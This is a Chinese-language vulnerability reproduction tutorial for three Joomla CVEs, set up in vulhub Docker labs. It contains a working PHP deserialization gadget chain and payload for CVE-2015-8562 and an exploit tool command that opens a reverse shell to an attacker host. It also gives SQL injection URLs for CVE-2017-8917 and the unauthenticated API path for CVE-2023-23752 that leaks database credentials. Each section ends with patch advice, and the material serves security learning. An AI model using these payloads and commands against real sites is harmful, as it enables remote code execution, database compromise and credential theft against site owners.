Joomla 常见漏洞复现
0x01:CVE-2015-8562(Joomla 3.4.5 反序列化漏洞)
1.漏洞描述&环境搭建
跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行的结果。
环境搭建:下载vulhub项目,目录切换到joomla下的cve-2015-8562下运行:
docker-compose up -d
启动后访问http://your-ip:8080/
即可看到Joomla的安装界面,当前环境的数据库信息为:
- 数据库地址:mysql:3306
- 用户:root
- 密码:root
- 数据库名:joomla
填入上述信息,正常安装即可
2.漏洞复现
影响范围:
Joomla 1.5.x, 2.x, and 3.x before 3.4.6
PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
然后我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:
#返回的cookie
Set-Cookie: 9140d5f510f1adf340978e515c64adff=a5a01565ecf110a363ea8dbcb221a7a4
再用如下脚本生成POC:(在线运行)
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行,也可以直接用前辈写好的exp:https://github.com/kiks7/rusty_joomla_rce
python3 rusty_joomla_exploit.py -t http://10.211.55.2:8080/
反弹shell:
python3 rusty_joomla_exploit.py -t http://10.211.55.2:8080/ --exploit --lhost 10.211.55.2 --lport 9999
3.修复建议
Joomla团队已经在后续的版本中修复了这个漏洞,并强烈建议用户升级到更高版本以确保安全性。升级到Joomla的最新版本或修复版本,以避免受到这个漏洞的影响
0x02:CVE-2017-8917(Joomla 3.7.0 SQL注入漏洞)
1.漏洞描述&环境搭建
Joomla是一套世界第二流行的内容管理系统。它使用的是PHP语言加上MySQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行,目前由开放源码组织Open Source Matters进行开发与支持。
Joomla 3.7版本后引入一个新的组件 “com_fields”,这一组件会引发易被利用的漏洞,并且不需要受害者网站上的高权限,这意味着任何人都可以通过对站点恶意访问利用这个漏洞。
环境搭建:同上
启动后访问http://your-ip:8080
即可看到Joomla的安装界面,当前环境的数据库信息为:
数据库主机名:mysql:3306 用户:root 密码:root 数据库名:joomla 填入上述信息,正常安装即可。
2.漏洞复现
影响范围:com_fields组件是在3.7版本添加的,如果你使用此版本,将受到影响,并应尽快更新。这个组件可以公开访问,意味着任何能访问你站点的用户都可以发起攻击
直接访问:
poc:
Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x7e,concat(0x7e,user()),0x7e)
Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(666,concat(0x3a,version(),0x3a))
3.修复建议
这个漏洞是由于list[fullordering]参数用户可控,后端代码并没有进行有效过滤导致SQL语句拼接形成order by的注入,修复方案是执行语句获取list.ordering值进行了白名单过滤,在存储状态的时候就将攻击代码覆盖了,那么在执行语句之前取的值自然就不包含攻击代码了
0x03:CVE-2023-23752(Joomla未授权访问漏洞)
1.漏洞描述&环境搭建
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
环境搭建:同上
2.漏洞复现
影响范围:4.0.0 <= Joomla <= 4.2.7
访问:/api/index.php/v1/config/application?public=true,返回数据库相关信息
使用账户密码登录数据库:
3.修改建议
升级JoomlaCMS版本到 4.2.8
代码分析参考链接: